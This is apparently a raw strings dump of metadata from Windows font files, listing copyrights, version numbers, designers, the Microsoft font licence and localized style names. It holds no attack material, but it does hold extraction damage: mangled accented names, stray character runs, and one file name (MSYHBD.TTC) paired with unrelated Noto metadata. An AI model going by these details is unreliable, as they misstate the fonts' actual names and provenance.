trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation John Hudson http://www.tiro.com http://www.microsoft.com/typography/ctfonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/default.aspx Cyrl Grek Latn Regular Gabriola *GADUGI.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Version 1.13 Gadugi is a trademark of the Microsoft group of companies. Microsoft Corporation https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cher Cans Osge Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Gadugi *GADUGIB.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Version 1.13 Gadugi is a trademark of the Microsoft group of companies. Microsoft Corporation https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Cher Cans Osge Latn ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr Gadugi Gadugi Negreta Gadugi tu Gadugi fed Gadugi Fett Gadugi Gadugi Bold Gadugi Negrita Gadugi Lodia Gadugi Lihavoitu Gadugi Gras Gadugi F Gadugi Grassetto Gadugi Halvfet Gadugi Vet Gadugi Pogrubiony Gadugi Negrito Gadugi Gadugi Tu Gadugi Krepko Gadugi Fet Gadugi Kal Gadugi-Bold *GEORGIA.TTF en-us 2016 Microsoft Corporation. All Rights Reserved. Version 5.59 Georgia is a trademark of the Microsoft group of companies. Carter & Cone Matthew Carter Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Cyrl Grek Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Georgia *GEORGIAI.TTF en-us 2016 Microsoft Corporation. All Rights Reserved. Version 5.59 Georgia is a trademark of the Microsoft group of companies. Carter & Cone Matthew Carter Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Cyrl Grek Latn ca-es Cursiva cs-cz kurz da-dk kursiv de-de Kursiv el-gr Italic es-es es-es_tradnl es-mx eu-es Etzana fi-fi Kursivoitu fr-ca Italique fr-fr hu-hu it-it Corsivo nb-no nl-nl Cursief pl-pl Kursywa pt-br lico pt-pt ru-ru sk-sk Kurz sl-si evno sv-se tr-tr talik Georgia Georgia Cursiva Georgia kurz Georgia kursiv Georgia Kursiv Georgia Georgia Italic Georgia Etzana Georgia Kursivoitu Georgia Italique Georgia D Georgia Corsivo Georgia Cursief Georgia Kursywa Georgia It lico Georgia Georgia Kurz Georgia Po evno Georgia talik Georgia-Italic *GEORGIAB.TTF en-us 2016 Microsoft Corporation. All Rights Reserved. Version 5.59 Georgia is a trademark of the Microsoft group of companies. Carter & Cone Matthew Carter Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Cyrl Grek Latn ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr Georgia Georgia Negreta Georgia tu Georgia fed Georgia Fett Georgia Georgia Bold Georgia Negrita Georgia Lodia Georgia Lihavoitu Georgia Gras Georgia F Georgia Grassetto Georgia Halvfet Georgia Vet Georgia Pogrubiony Georgia Negrito Georgia Georgia Tu Georgia Krepko Georgia Fet Georgia Kal Georgia-Bold *GEORGIAZ.TTF en-us 2016 Microsoft Corporation. All Rights Reserved. Version 5.59 Georgia is a trademark of the Microsoft group of companies. Carter & Cone Matthew Carter Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Cyrl Grek Latn ca-es Negreta cursiva cs-cz kurz da-dk fed kursiv de-de Fett Kursiv el-gr Bold Italic es-es Negrita Cursiva es-es_tradnl es-mx eu-es Lodi etzana fi-fi Lihavoitu Kursivoi fr-ca Gras Italique fr-fr hu-hu it-it Grassetto Corsivo nb-no Halvfet Kursiv nl-nl Vet Cursief pl-pl Pogrubiona kursywa pt-br Negrito It lico pt-pt ru-ru sk-sk kurz sl-si Krepko po evno sv-se Fet Kursiv tr-tr talik Georgia Georgia Negreta cursiva Georgia tu kurz Georgia fed kursiv Georgia Fett Kursiv Georgia Georgia Bold Italic Georgia Negrita Cursiva Georgia Lodi etzana Georgia Lihavoitu Kursivoi Georgia Gras Italique Georgia F Georgia Grassetto Corsivo Georgia Halvfet Kursiv Georgia Vet Cursief Georgia Pogrubiona kursywa Georgia Negrito It lico Georgia Georgia Tu kurz Georgia Krepko po evno Georgia Fet Kursiv Georgia Kal talik Georgia-BoldItalic *IMPACT.TTF en-us 2011 The Monotype Corporation. All Rights Reserved. Impact is a trademark of Stephenson Blake (Holdings) Ltd. Version 5.11 Impact is a trademark of Stephenson Blake (Holdings) Ltd. Monotype Typography, Inc. Geoffrey Lee http://www.monotype.com/html/designer/des_index.html 1965. Designed for the Stephenson Blake type foundry. A very heavy, narrow, sans serif face intended for use in newspapers, for headlines and in advertisements. Aptly named, this face has a very large "x" height with short ascenders and descenders. http://www.monotype.com/html/mtname/ms_welcome.html Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.monotype.com/html/type/license.html Cyrl Grek Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Impact *INKFREE.TTF en-us Copyright 2005-2018 Ascender Corporation. All rights reserved. Version 2.00 Monotype Imaging Inc. Steve Matteson http://www.monotype.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Latn Grek Cyrl Armn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Ink Free InkFree *JAVATEXT.TTF en-us 2019 Microsoft Corporation. All Rights Reserved. Version 1.10 Tiro Typeworks Ltd., for Microsoft Corporation. John Hudson http://www.tiro.com https://docs.microsoft.com/typography/about Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. https://docs.microsoft.com/typography Java Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Javanese Text JavaneseText *LEELAWUI.TTF en-us 2015 Microsoft Corporation. All Rights Reserved. Version 5.05 Leelawadee is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Thai Laoo Bugi Khmr Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Leelawadee UI LeelawadeeUI *LEELUISL.TTF en-us 2015 Microsoft Corporation. All Rights Reserved. Version 5.05 Leelawadee is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Thai Laoo Bugi Khmr Latn Semilight Leelawadee UI Leelawadee UI Semilight ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Leelawadee UI Semilight Normal Leelawadee UI Semilight oby Leelawadee UI Semilight normal Leelawadee UI Semilight Standard Leelawadee UI Semilight Leelawadee UI Semilight Arrunta Leelawadee UI Semilight Normaali Leelawadee UI Semilight Norm Leelawadee UI Semilight Normale Leelawadee UI Semilight Standaard Leelawadee UI Semilight Normalny Leelawadee UI Semilight Leelawadee UI Semilight Norm Leelawadee UI Semilight Navadno LeelawadeeUI-Semilight *LEELAUIB.TTF en-us 2015 Microsoft Corporation. All Rights Reserved. Version 5.05 Leelawadee is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.microsoft.com/typography/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Thai Laoo Bugi Khmr Latn ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr Leelawadee UI Leelawadee UI Negreta Leelawadee UI tu Leelawadee UI fed Leelawadee UI Fett Leelawadee UI Leelawadee UI Bold Leelawadee UI Negrita Leelawadee UI Lodia Leelawadee UI Lihavoitu Leelawadee UI Gras Leelawadee UI F Leelawadee UI Grassetto Leelawadee UI Halvfet Leelawadee UI Vet Leelawadee UI Pogrubiony Leelawadee UI Negrito Leelawadee UI Leelawadee UI Tu Leelawadee UI Krepko Leelawadee UI Fet Leelawadee UI Kal LeelawadeeUI-Bold *LUCON.TTF en-us Copyright 1993 Bigelow & Holmes Inc. All rights reserved. Version 5.01 Lucida is a registered trademark of Bigelow & Holmes Inc. Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Cyrl Grek Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Navadno sv-se tr-tr Lucida Console LucidaConsole *L_10646.TTF en-us Copyright 1993 Bigelow & Holmes Inc. All rights reserved. Pat. Des. 289,420. Pats. Pend. Version 5.01 Lucida is a registered trademark of Bigelow & Holmes Inc. Characteristics: Large x-height, making it readable at all sizes. Uses: Wide range of uses including directories, tables, forms, memos, telefaxes, manuals, heads, titles, posters, and displays. Guidelines: At larger sizes (14 points or more), subtracting a few units of letter spacing gives a tighter look. When using all capitals, you can use small amounts of additional letter spacing. At larger sizes, space capitals more tightly. Complementary fonts include Lucida Bright, Lucida Arrows, and Lucida Stars. Lucida Fax at smaller sizes and lower resolutions. The ampersands, interrobangs, and circled Lucida Sans numerals in Lucida Icons combine well. Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Cyrl Grek Hebr Latn ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Lucida Sans Unicode LucidaSansUnicode *MALGUNSL.TTF !"#$%&'() en-us 2022 Microsoft Corporation. All Rights Reserved. Version 6.69 ko-kr Malgun Gothic is a trademark of the Microsoft group of companies. Microsoft Corporation Kyungbea Lee; Daekwon Kim http://www.goodfont.co.kr Malgun Gothic is a Korean font developed by taking advantage of ClearType technology, and it provides excellent reading experience particularly onscreen. Its elements are created based on the typeface of Hunminjeongeum, and streamlined with modern form of characters as well as upright and well-regulated strokes. The font is very legible at small sizes with its moderate open counters, and its even inter-character spacing and visual center line maximize the readability. ClearType http://www.microsoft.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts Hang Hani Kore Hira Jpan Kana Latn Hrkt Semilight Malgun Gothic Malgun Gothic Semilight Semilight Regular MalgunGothic-Semilight *MALGUNBD.TTF !"#$% {zyxwvutsrqponmlkjihgfedcba`_^]\[Z YXWVUTSRQPONMLKJIHGFEDCBA@?>= <;:9876543210 en-us 2022 Microsoft Corporation. All Rights Reserved. Version 6.69 ko-kr Malgun Gothic is a trademark of the Microsoft group of companies. Microsoft Corporation Kyoung-bae Lee; Daekwon Kim http://www.sandoll.co.kr Malgun Gothic is a Korean font developed by taking advantage of ClearType technology, and it provides excellent reading experience particularly onscreen. Its elements are created based on the typeface of Hunminjeongeum, and streamlined with modern form of characters as well as upright and well-regulated strokes. The font is very legible at small sizes with its moderate open counters, and its even inter-character spacing and visual center line maximize the readability. ClearType http://www.microsoft.com Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts Hang Hani Kore Hira Jpan Kana Latn Hrkt Bold Malgun Gothic Malgun Gothic Bold Bold MalgunGothicBold *HIMALAYA.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Version 5.23 Microsoft Himalaya is a trademark of the Microsoft group of companies. Microsoft Corporation Founder, Beijing China http://www.founder.com.cn/cn/ The font glyphs compliant with China standard GB18030-2000 with the font name Founder Zang Baiti. http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Tibt Latn Regular Microsoft Himalaya *MSJHL.TTC !"#$ 12345 en-us 2022 Microsoft Corporation. All rights reserved. Version 6.15 zh-hk zh-tw Microsoft JhengHei is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Imaging Inc. http://www.monotypeimaging.com http://www.microsoft.com/typography/fonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Bopo Hant Hani Hanb Grek Hira Kana Latn Hrkt Jpan Light Microsoft JhengHei Microsoft JhengHei Light Light Regular MicrosoftJhengHeiLight *MSJHBD.TTC -./01 en-us 2022 Microsoft Corporation. All rights reserved. Version 6.15 zh-hk zh-tw Microsoft JhengHei is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Imaging Inc. http://www.monotypeimaging.com http://www.microsoft.com/typography/fonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Bopo Hant Hani Hanb Grek Hira Kana Latn Hrkt Jpan ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr Microsoft JhengHei Microsoft JhengHei Negreta Microsoft JhengHei tu Microsoft JhengHei fed Microsoft JhengHei Fett Microsoft JhengHei Microsoft JhengHei Bold Microsoft JhengHei Negrita Microsoft JhengHei Lodia Microsoft JhengHei Lihavoitu Microsoft JhengHei Gras Microsoft JhengHei F Microsoft JhengHei Grassetto Microsoft JhengHei Halvfet Microsoft JhengHei Vet Microsoft JhengHei Pogrubiony Microsoft JhengHei Negrito Microsoft JhengHei Microsoft JhengHei Tu Microsoft JhengHei Krepko Microsoft JhengHei Fet Microsoft JhengHei Kal Bold MicrosoftJhengHeiBold *MSJH.TTC -./01 en-us 2022 Microsoft Corporation. All rights reserved. Version 6.15 zh-hk zh-tw Microsoft JhengHei is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Imaging Inc. http://www.monotypeimaging.com http://www.microsoft.com/typography/fonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Bopo Hant Hani Hanb Grek Hira Kana Latn Hrkt Jpan ca-es Normal cs-cz da-dk normal de-de Standard el-gr Regular es-es es-es_tradnl es-mx eu-es Arrunta fi-fi Normaali fr-ca fr-fr hu-hu Norm it-it Normale nb-no nl-nl Standaard pl-pl Normalny pt-br pt-pt ru-ru sk-sk Norm sl-si Navadno sv-se tr-tr Microsoft JhengHei UI MicrosoftJhengHeiUIRegular *MSJHL.TTC !"#$ 12345 en-us 2022 Microsoft Corporation. All rights reserved. Version 6.15 zh-hk zh-tw Microsoft JhengHei is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Imaging Inc. http://www.monotypeimaging.com http://www.microsoft.com/typography/fonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Bopo Hant Hani Hanb Grek Hira Kana Latn Hrkt Jpan Light Microsoft JhengHei UI Microsoft JhengHei UI Light Regular MicrosoftJhengHeiUILight *MSJHBD.TTC -./01 en-us 2022 Microsoft Corporation. All rights reserved. Version 6.15 zh-hk zh-tw Microsoft JhengHei is a trademark of the Microsoft group of companies. Microsoft Corporation Monotype Imaging Inc. http://www.monotypeimaging.com http://www.microsoft.com/typography/fonts Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Bopo Hant Hani Hanb Grek Hira Kana Latn Hrkt Jpan ca-es Negreta cs-cz da-dk de-de Fett el-gr Bold es-es Negrita es-es_tradnl es-mx eu-es Lodia fi-fi Lihavoitu fr-ca Gras fr-fr hu-hu it-it Grassetto nb-no Halvfet nl-nl pl-pl Pogrubiony pt-br Negrito pt-pt ru-ru sk-sk sl-si Krepko sv-se tr-tr Microsoft JhengHei UI Microsoft JhengHei UI Negreta Microsoft JhengHei UI tu Microsoft JhengHei UI fed Microsoft JhengHei UI Fett Microsoft JhengHei UI Microsoft JhengHei UI Bold Microsoft JhengHei UI Negrita Microsoft JhengHei UI Lodia Microsoft JhengHei UI Lihavoitu Microsoft JhengHei UI Gras Microsoft JhengHei UI F Microsoft JhengHei UI Grassetto Microsoft JhengHei UI Halvfet Microsoft JhengHei UI Vet Microsoft JhengHei UI Pogrubiony Microsoft JhengHei UI Negrito Microsoft JhengHei UI Microsoft JhengHei UI Tu Microsoft JhengHei UI Krepko Microsoft JhengHei UI Fet Microsoft JhengHei UI Kal MicrosoftJhengHeiUIBold *NTAILU.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Portions 2009 DynaComware Corp. All Rights Reserved. Portions 2008 Ascender Corp. All Rights Reserved. Version 5.99 Microsoft Corporation The font glyphs are certified compliant with China standard ISO/IEC 10646:2003 (GB13000) with the font name DF NewTaiLue Two by DynaComware. ISO/IEC 10646:2003 (GB13000 http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Talu Latn Regular Microsoft New Tai Lue MicrosoftNewTaiLue *NTAILUB.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Portions 2009 DynaComware Corp. All Rights Reserved. Portions 2008 Ascender Corp. All Rights Reserved. Version 5.99 Microsoft Corporation The font glyphs are certified compliant with China standard ISO/IEC 10646:2003 (GB13000) with the font name DF NewTaiLue Two by DynaComware. ISO/IEC 10646:2003 (GB13000 http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Talu Latn Bold Microsoft New Tai Lue Microsoft New Tai Lue Bold MicrosoftNewTaiLue-Bold *PHAGSPA.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Portions 2009 DynaComware Corp. All Rights Reserved. Portions 2008 Ascender Corp. All Rights Reserved. Version 6.00 Microsoft Corporation The font glyphs are certified compliant with China standard ISO/IEC 10646:2003 (GB13000) with the font name DFPhagsPa by DynaComware. ISO/IEC 10646:2003 (GB13000 http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Phag Latn Regular Microsoft PhagsPa MicrosoftPhagsPa *PHAGSPAB.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Portions 2009 DynaComware Corp. All Rights Reserved. Portions 2008 Ascender Corp. All Rights Reserved. Version 6.00 Microsoft Corporation The font glyphs are certified compliant with China standard ISO/IEC 10646:2003 (GB13000) with the font name DFPhagsPa by DynaComware. Chinese: ISO/IEC 10646:2003 (GB13000 http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Phag Latn Bold Microsoft PhagsPa Microsoft PhagsPa Bold MicrosoftPhagsPa-Bold *TAILE.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Portions 2009 DynaComware Corp. All Rights Reserved. Portions 2008 Ascender Corp. All Rights Reserved. Version 6.00 Microsoft Corporation The font glyphs are certified compliant with China standard ISO/IEC 10646:2003 (GB13000) with the font name DF TaiLe Two by DynaComware. ISO/IEC 10646:2003 (GB13000 http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Tale Latn Regular Microsoft Tai Le MicrosoftTaiLe *TAILEB.TTF en-us 2018 Microsoft Corporation. All Rights Reserved. Portions 2009 DynaComware Corp. All Rights Reserved. Portions 2008 Ascender Corp. All Rights Reserved. Version 6.00 Microsoft Corporation The font glyphs are certified compliant with China standard ISO/IEC 10646:2003 (GB13000) with the font name DF TaiLe Two by DynaComware. ISO/IEC 10646:2003 (GB13000 http://www.microsoft.com/typography/fonts/ Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. Tale Latn Bold Microsoft Tai Le Microsoft Tai Le Bold MicrosoftTaiLe-Bold *MSYHL.TTC "#$%&'( wvults go_nGZml ZjiP KLK:J 9876 en-us 2024 Microsoft Corporation. All Rights Reserved. Portions 2024 Beijing Founder Electronics Co. Ltd. All Rights Reserved. zh-cn 2024 2024 Version 6.25 Microsoft YaHei is a trademark of the Microsoft group of companies. Microsoft Corporation http://www.founder.com.cn/cn The font glyphs are certified compliant with China standard GB18030-2000 with the font name Founder Lan Ting Hei. Microsoft Licensed the font glyph from Beijing Founder Electronics Co. Ltd. GB18030-2000 The font glyphs are certified compliant with China standard GB18030-2000 with the font name Founder Lan Ting Hei. Microsoft Licensed the font glyph from Beijing Founder Electronics Co. Ltd. GB18030-2000 http://www.microsoft.com/typography Microsoft supplied font. You may use this font to create, display and print content as permitted by the license terms, or terms of use, of the Microsoft product, service or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts Hans Hani Light Microsoft YaHei Microsoft YaHei Light Light Regular MicrosoftYaHeiLight *MSYHBD.TTC "#$%&'( 234567 {zyoxw jrbqI]po ]mlS NON vutsr 7543 en-us Copyright 2022 The Noto Project Authors (https://github.com/notofonts/avestan) Version 1.02 Noto is a trademark of Google Inc. Monotype Imaging Inc. Monotype Design Team http://www.monotype.com/studio Designed by Monotype design team. http://www.google.com/get/noto/ This Font Software is licensed under the SIL Open Font License, Version 1.1. This license is available with a FAQ at: https://scripts.sil.org/OFL https://scripts.sil.org/OFL Aran Bali Bugi Buhd Cham Copt Cyrl Grek Hano Kali Latn Lepc Limb Linb Osma Rjng Saur Shaw Sund Sylo Tagb Tglg Arab Regular Sans Serif Collection SansSerifCollection *SEGOEPR.TTF en-us 2008 The Monotype Corporation. All Rights Reserved. Version 5.04 Segoe is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation http://www.microsoft.com/typography Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, or content in which this font was included. You may only (i) embed this font in content as permitted by the embedding restrictions included in this font; and (ii) temporarily download this font to a printer or other output device to help print content. Any other use is prohibited. http://www.microsoft.com/typography/fonts/ Cyrl Grek Latn Regular Segoe Print SegoePrint *SEGOEPRB.TTF en-us 2009 Microsoft Corporation. All Rights Reserved. Version 5.04 Segoe is either a registered trademark or a trademark of Microsoft Corporation in the United States and/or other countries. Microsoft Corporation http://www.microsoft.com/typography Microsoft supplied font. You may use this font to create, display, and print content as permitted by the license terms or terms of use, of the Microsoft product, service, 